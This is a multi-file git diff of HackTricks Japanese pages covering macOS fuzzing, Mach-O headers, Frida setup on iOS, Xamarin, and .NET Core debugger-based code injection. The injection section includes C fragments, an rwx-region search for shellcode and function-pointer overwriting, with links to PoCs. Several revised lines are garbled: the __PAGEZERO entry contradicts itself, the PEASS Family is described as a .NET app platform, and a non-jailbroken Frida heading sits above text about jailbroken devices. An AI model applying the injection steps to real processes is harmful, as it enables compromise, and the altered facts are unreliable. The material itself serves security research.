* [https://www.youtube.com/watch?v=T5xfL9tEg44](https://www.youtube.com/watch?v=T5xfL9tEg44)
|
||||
* [https://github.com/bnagy/slides/blob/master/OSXScale.pdf](https://github.com/bnagy/slides/blob/master/OSXScale.pdf)
|
||||
|
@ -556,10 +521,10 @@ litefuzz -s -a tcp://localhost:5900 -i input/screenshared-session --reportcrash
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksであなたの会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* あなたは**サイバーセキュリティ企業**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**PEASSの最新バージョンやHackTricksのPDFをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -45,7 +45,7 @@ uint32_t align; /* 2の累乗としてのアライメント */
|
|||
};
|
||||
</code></pre>
|
||||
|
||||
ヘッダーには**マジック**バイトがあり、その後にファイルが含む**アーキテクチャ**の数(`nfat_arch`)と、各アーキテクチャには`fat_arch`構造体があります。
|
||||
ヘッダーには**マジック**バイトが続き、ファイルが含む**アーキテクチャ**の数(`nfat_arch`)と、各アーキテクチャには`fat_arch`構造体があります。
|
||||
|
||||
次のコマンドで確認します:
|
||||
|
||||
|
@ -74,7 +74,7 @@ capabilities PTR_AUTH_VERSION USERSPACE 0
|
|||
</strong> align 2^14 (16384)
|
||||
</code></pre>
|
||||
|
||||
または、[Mach-O View](https://sourceforge.net/projects/machoview/)ツールを使用します:
|
||||
または[Mach-O View](https://sourceforge.net/projects/machoview/)ツールを使用することもできます:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (5) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -82,7 +82,7 @@ capabilities PTR_AUTH_VERSION USERSPACE 0
|
|||
|
||||
## **Mach-Oヘッダー**
|
||||
|
||||
ヘッダーには、ファイルをMach-Oファイルとして識別するためのマジックバイトや、ターゲットアーキテクチャに関する情報など、ファイルに関する基本情報が含まれています。次のコマンドで確認できます:`mdfind loader.h | grep -i mach-o | grep -E "loader.h$"`
|
||||
ヘッダーには、ファイルを識別するためのマジックバイトや、ターゲットアーキテクチャに関する情報など、ファイルに関する基本情報が含まれています。次のコマンドで確認できます:`mdfind loader.h | grep -i mach-o | grep -E "loader.h$"`
|
||||
```c
|
||||
#define MH_MAGIC 0xfeedface /* the mach magic number */
|
||||
#define MH_CIGAM 0xcefaedfe /* NXSwapInt(MH_MAGIC) */
|
||||
|
@ -195,7 +195,7 @@ uint32_t reserved3; /* reserved */
|
|||
|
||||
もし、**セクションオフセット**(0x37DC)に**アーキテクチャが始まるオフセット**(この場合は`0x18000`)を**追加**すると、`0x37DC + 0x18000 = 0x1B7DC`となります。
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
また、**コマンドライン**からも**ヘッダ情報**を取得することが可能です。
|
||||
```bash
|
||||
|
@ -203,23 +203,23 @@ otool -lv /bin/ls
|
|||
```
|
||||
このコマンドによって読み込まれる一般的なセグメントは次のとおりです:
|
||||
|
||||
* **`__PAGEZERO`**:カーネルに対して、**アドレスゼロをマップ**しないように指示します。このセグメントは、読み取り、書き込み、実行ができないようにするために、構造体内のmaxprotとminprot変数がゼロに設定されます。
|
||||
* この割り当ては、**NULLポインタの逆参照の脆弱性を緩和**するために重要です。
|
||||
* **`__TEXT`**:**実行可能なコード**と**読み取り専用のデータ**を含んでいます。このセグメントの一般的なセクション:
|
||||
* **`__PAGEZERO`**:カーネルに対して、**アドレスゼロをマップ**するように指示します。このページは**読み取り、書き込み、実行ができない**ようになっています。構造体内のmaxprotとminprot変数はゼロに設定されており、このページには**読み書き実行権限がない**ことを示しています。
|
||||
* この割り当ては、**NULLポインタの逆参照の脆弱性を軽減**するために重要です。
|
||||
* **`__TEXT`**:**実行可能な**コードと**読み取り専用の**データが含まれています。このセグメントの一般的なセクション:
|
||||
* `__text`:コンパイルされたバイナリコード
|
||||
* `__const`:定数データ
|
||||
* `__cstring`:文字列定数
|
||||
* `__stubs`と`__stubs_helper`:ダイナミックライブラリの読み込みプロセス中に関与します。
|
||||
* **`__DATA`**:**書き込み可能な**データを含んでいます。
|
||||
* **`__DATA`**:**書き込み可能な**データが含まれています。
|
||||
* `__data`:初期化されたグローバル変数
|
||||
* `__bss`:初期化されていない静的変数
|
||||
* `__objc_*`(\_\_objc\_classlist、\_\_objc\_protolistなど):Objective-Cランタイムで使用される情報
|
||||
* **`__LINKEDIT`**:リンカ(dyld)のための情報を含んでいます。「シンボル、文字列、および再配置テーブルエントリ」など。
|
||||
* **`__OBJC`**:Objective-Cランタイムで使用される情報を含んでいます。ただし、この情報は\_\_DATAセグメント内のさまざまな\_\_objc\_\*セクションにも見つかる場合があります。
|
||||
* **`__LINKEDIT`**:リンカ(dyld)のための情報を含みます。「シンボル、文字列、および再配置テーブルエントリ」などです。
|
||||
* **`__OBJC`**:Objective-Cランタイムで使用される情報を含みます。ただし、この情報は\_\_DATAセグメント内のさまざまな\_\_objc\_\*セクションにも見つかる場合があります。
|
||||
|
||||
### **`LC_MAIN`**
|
||||
|
||||
**entryoff属性**にエントリーポイントが含まれています。ロード時に、**dyld**はこの値を(メモリ内の)**バイナリのベースに追加**し、バイナリのコードの実行を開始するためにこの命令にジャンプします。
|
||||
**entryoff属性**にエントリーポイントが含まれています。ロード時に、**dyld**は単純にこの値を(メモリ内の)**バイナリのベースに追加**し、バイナリのコードの実行を開始するためにこの命令にジャンプします。
|
||||
|
||||
### **LC\_CODE\_SIGNATURE**
|
||||
|
||||
|
@ -228,13 +228,13 @@ Macho-Oファイルの**コード署名に関する情報**が含まれていま
|
|||
|
||||
### **LC\_LOAD\_DYLINKER**
|
||||
|
||||
プロセスのアドレス空間に共有ライブラリをマップする**動的リンカの実行可能ファイルへのパス**が含まれています。**値は常に`/usr/lib/dyld`**に設定されます。重要な点として、macOSではdylibのマッピングは**カーネルモードではなくユーザーモード**で行われることに注意してください。
|
||||
プロセスのアドレス空間に共有ライブラリをマップする**動的リンカの実行可能ファイルへのパス**が含まれています。**値は常に`/usr/lib/dyld`**に設定されています。重要な点として、macOSではdylibのマッピングは**カーネルモードではなくユーザーモード**で行われることに注意してください。
|
||||
|
||||
### **`LC_LOAD_DYLIB`**
|
||||
|
||||
このロードコマンドは、Mach-Oバイナリが必要とする**動的ライブラリの依存関係**を記述します。Mach-Oバイナリが必要とする各ライブラリには、LC\_LOAD\_DYLIBロードコマンドがあります。
|
||||
このロードコマンドは、Mach-Oバイナリが必要とする**動的ライブラリの依存関係**を記述します。Mach-Oバイナリが必要とする**各ライブラリ**に対してLC\_LOAD\_DYLIBロードコマンドがあります。
|
||||
|
||||
* このロードコマンドは、実際の依存する動的ライブラリを記述する**`dylib_command`**型の構造体です。
|
||||
* このロードコマンドは、**`dylib_command`**型の構造体(実際の依存する動的ライブラリを記述するstruct dylibを含む)です。
|
||||
```objectivec
|
||||
struct dylib_command {
|
||||
uint32_t cmd; /* LC_LOAD_{,WEAK_}DYLIB */
|
||||
|
@ -298,7 +298,7 @@ size -m /bin/ls
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -4,7 +4,7 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
|
@ -21,11 +21,11 @@
|
|||
|
||||
したがって、ユーザーの**`$TMPDIR`**に移動すると、.Netアプリケーションをデバッグするために使用できる**デバッグ用のFIFO**を見つけることができます。
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
関数[**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259)は、デバッガからの通信を処理します。
|
||||
|
||||
デバッガが最初に行う必要があることは、**新しいデバッグセッションを作成する**ことです。これは、`.NET`ソースから取得できる`MessageHeader`構造体で始まる`out`パイプを介してメッセージを送信することで行われます。
|
||||
デバッガが最初に行う必要があることは、**新しいデバッグセッションを作成する**ことです。これは、.NETソースから取得できる`MessageHeader`構造体で始まる`out`パイプを介してメッセージを送信することで行われます。
|
||||
```c
|
||||
struct MessageHeader
|
||||
{
|
||||
|
@ -66,7 +66,7 @@ sSendHeader.m_cbDataBlock = sizeof(SessionRequestData);
|
|||
```c
|
||||
write(wr, &sSendHeader, sizeof(MessageHeader));
|
||||
```
|
||||
次に、`sessionRequestData`構造体を送信する必要があります。この構造体には、セッションを識別するためのGUIDが含まれています。
|
||||
以下は、`sessionRequestData`構造体を送信する必要があります。この構造体には、セッションを識別するためのGUIDが含まれています。
|
||||
```c
|
||||
// All '9' is a GUID.. right??
|
||||
memset(&sDataBlock.m_sSessionID, 9, sizeof(SessionRequestData));
|
||||
|
@ -160,26 +160,26 @@ return true;
|
|||
|
||||
}
|
||||
```
|
||||
このために使用されるPOCコードは[こちら](https://gist.github.com/xpn/7c3040a7398808747e158a25745380a5)で見つけることができます。
|
||||
この操作を行うために使用されるPOCコードは[こちら](https://gist.github.com/xpn/7c3040a7398808747e158a25745380a5)で見つけることができます。
|
||||
|
||||
### .NET Coreコードの実行 <a href="#net-core-code-execution" id="net-core-code-execution"></a>
|
||||
|
||||
最初に、実行するためのシェルコードを保存するために**`rwx`**で実行されているメモリ領域を特定する必要があります。これは簡単に次のコマンドで行うことができます:
|
||||
最初に、実行するためのシェルコードを保存するために**`rwx`**で実行されているメモリ領域を特定する必要があります。これは簡単に次のコードで行うことができます:
|
||||
```bash
|
||||
vmmap -pages [pid]
|
||||
vmmap -pages 35829 | grep "rwx/rwx"
|
||||
```
|
||||
次に、実行をトリガーするためには、関数ポインタが上書きされる場所を知る必要があります。.NET CoreランタイムがJITコンパイルのためのヘルパー関数を提供するために使用する**Dynamic Function Table (DFT)**内のポインタを上書きすることが可能です。サポートされている関数ポインタのリストは、[`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h)内で見つけることができます。
|
||||
|
||||
x64バージョンでは、**シグネチャハンティング**テクニックを使用して、**`libcorclr.dll`**内のシンボル**`_hlpDynamicFuncTable`**への参照を検索することで、これを簡単に行うことができます。次に、この参照をデリファレンスすることができます。
|
||||
x64バージョンでは、**シグネチャハンティング**テクニックを使用して、**`libcorclr.dll`**内のシンボル**`_hlpDynamicFuncTable`**への参照を検索することで、これを簡単に行うことができます。次に、このポインタを参照解除することができます。
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
残る作業は、シグネチャ検索を開始するためのアドレスを見つけることです。これには、別の公開されたデバッガ関数**`MT_GetDCB`**を利用します。これにより、ターゲットプロセスに関する有用な情報がいくつか返されますが、私たちの場合は、**`m_helperRemoteStartAddr`**というヘルパー関数のアドレスが含まれるフィールドに興味があります。このアドレスを使用することで、ターゲットプロセスのメモリ内に**`libcorclr.dll`が配置されている場所**を知ることができ、DFTの検索を開始することができます。
|
||||
残る作業は、シグネチャ検索を開始するためのアドレスを見つけることです。これには、別の公開されたデバッガ関数**`MT_GetDCB`**を利用します。これにより、ターゲットプロセスに関する有用な情報がいくつか返されますが、今回の場合は、**`m_helperRemoteStartAddr`**というヘルパー関数のアドレスが含まれるフィールドに興味があります。このアドレスを使用することで、ターゲットプロセスのメモリ内に**`libcorclr.dll`が配置されている場所**を知ることができ、DFTの検索を開始することができます。
|
||||
|
||||
このアドレスを知ることで、関数ポインタを自分のシェルコードで上書きすることが可能です。
|
||||
|
||||
PowerShellにインジェクトするために使用される完全なPOCコードは、[こちら](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6)で見つけることができます。
|
||||
PowerShellに注入するために使用される完全なPOCコードは、[こちら](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6)で見つけることができます。
|
||||
|
||||
## 参考文献
|
||||
|
||||
|
|
|
@ -1,41 +1,37 @@
|
|||
# iOSでのFridaの設定
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
|
||||
- 独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見してください。
|
||||
|
||||
- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
|
||||
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけて、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを発見してください。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)を**フォロー**してください。
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
## Fridaのインストール
|
||||
|
||||
# Fridaのインストール
|
||||
|
||||
**Cydia**アプリに移動し、**Manage -> Sources -> Edit -> Add**に移動してFridaのリポジトリを追加します。[**https://build.frida.re** ](https://build.frida.re)を入力して新しいソースを追加します。**frida** **source**に移動し、**Frida**パッケージを**インストール**します。
|
||||
**Cydia**アプリに移動し、**Manage -> Sources -> Edit -> Add**に移動してFridaのリポジトリ[**https://build.frida.re** ](https://build.frida.re)を追加します。これにより、ソースリストに新しいソースが追加されます。**frida** **source**に移動し、**Frida**パッケージを**インストール**してください。
|
||||
|
||||
![](https://miro.medium.com/max/614/0\*qSD26kBtgt\_UIZk1.png)
|
||||
|
||||
インストール後、PCで`frida-ls-devices`コマンドを使用してデバイスが表示されることを確認します(PCはアクセスできる必要があります)。また、`frida-ps -Uia`を実行して、電話の実行中のプロセスを確認します。
|
||||
|
||||
## JailbrokenデバイスなしでのFridaの使用とアプリのパッチなし
|
||||
|
||||
アプリのパッチなしでJailbrokenデバイスでFridaを使用する方法については、次のブログ記事を参照してください:[https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07](https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
|
||||
- 独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見してください。
|
||||
|
||||
- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
|
||||
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
|
||||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -5,21 +5,21 @@
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。これは、iOS、Android、およびWindows向けのモダンなアプリを.NETおよびC#フレームワークを使用して作成するための包括的なツールとアドオンにアクセスできるオープンソースのプラットフォームです。
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。これは、iOS、Android、およびWindows向けのモダンなアプリを.NETおよびC#フレームワークを使用して作成するための包括的なツールとアドオンへの開発者のアクセスを提供するオープンソースプラットフォームです。
|
||||
|
||||
* [**公式PEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
## **基本情報**
|
||||
|
||||
Xamarinは、開発者が.NETおよびC#フレームワークを使用して、iOS、Android、およびWindows向けのモダンなアプリを作成するための包括的なツールとアドオンにアクセスできるオープンソースのプラットフォームです。
|
||||
Xamarinは、開発者が.NETおよびC#フレームワークを使用してiOS、Android、およびWindows向けのモダンなアプリを作成できるようにするオープンソースプラットフォームです。
|
||||
|
||||
### Xamarin Androidアーキテクチャ 
|
||||
|
||||
<figure><img src="../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Xamarinは、Android.\*およびJava.\*の名前空間に対する.NETバインディングを提供します。Xamarin。
|
||||
|
||||
|
@ -37,11 +37,11 @@ Xamarin.iOSアプリケーションは、Monoランタイム環境で実行さ
|
|||
|
||||
以下の図は、このアーキテクチャを示しています:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### .NetランタイムとMonoフレームワークとは何ですか?
|
||||
|
||||
**.Netフレームワークは、開発者がアプリケーションを作成するために使用できるアセンブリ、クラス、および名前空間のセット**です。.Netランタイムはコンパイルされたコードを実行し、このプロセスは管理されたコードの実行と呼ばれます。.NETランタイムは、プラットフォームの独立性を確保し、古いフレームワークバージョンと互換性があります。
|
||||
**.Netフレームワークは、開発者がアプリケーションを作成するために使用できるアセンブリ、クラス、および名前空間のセット**です。.Netランタイムはコンパイルされたコードを実行し、このプロセスはマネージドコードの実行と呼ばれます。.NETランタイムは、プラットフォームの独立性を確保し、古いフレームワークバージョンと互換性のあるいくつかの機能を提供します。
|
||||
|
||||
**Monoフレームワーク**は、2005年にLinux(Ximian/SuSe/Novell)向けの.NET Frameworkの実装として開始されました。Microsoftのスポンサーを受け、Xamarinが主導するMonoは、Common Language RuntimeおよびC#のECMA標準に基づく.NETフレームワークのオープンソース実装です。 
|
||||
|
||||
|
@ -51,11 +51,11 @@ Xamarin.iOSアプリケーションは、Monoランタイム環境で実行さ
|
|||
|
||||
### Xamarinアセンブリの逆コンパイル
|
||||
|
||||
逆コンパイルは、コンパイルされたコードからソースコードを生成するプロセスです。メモリに現在存在するアセンブリと実行可能ファイルに関する情報を入手するために、Windowsは素晴らしい場所です。
|
||||
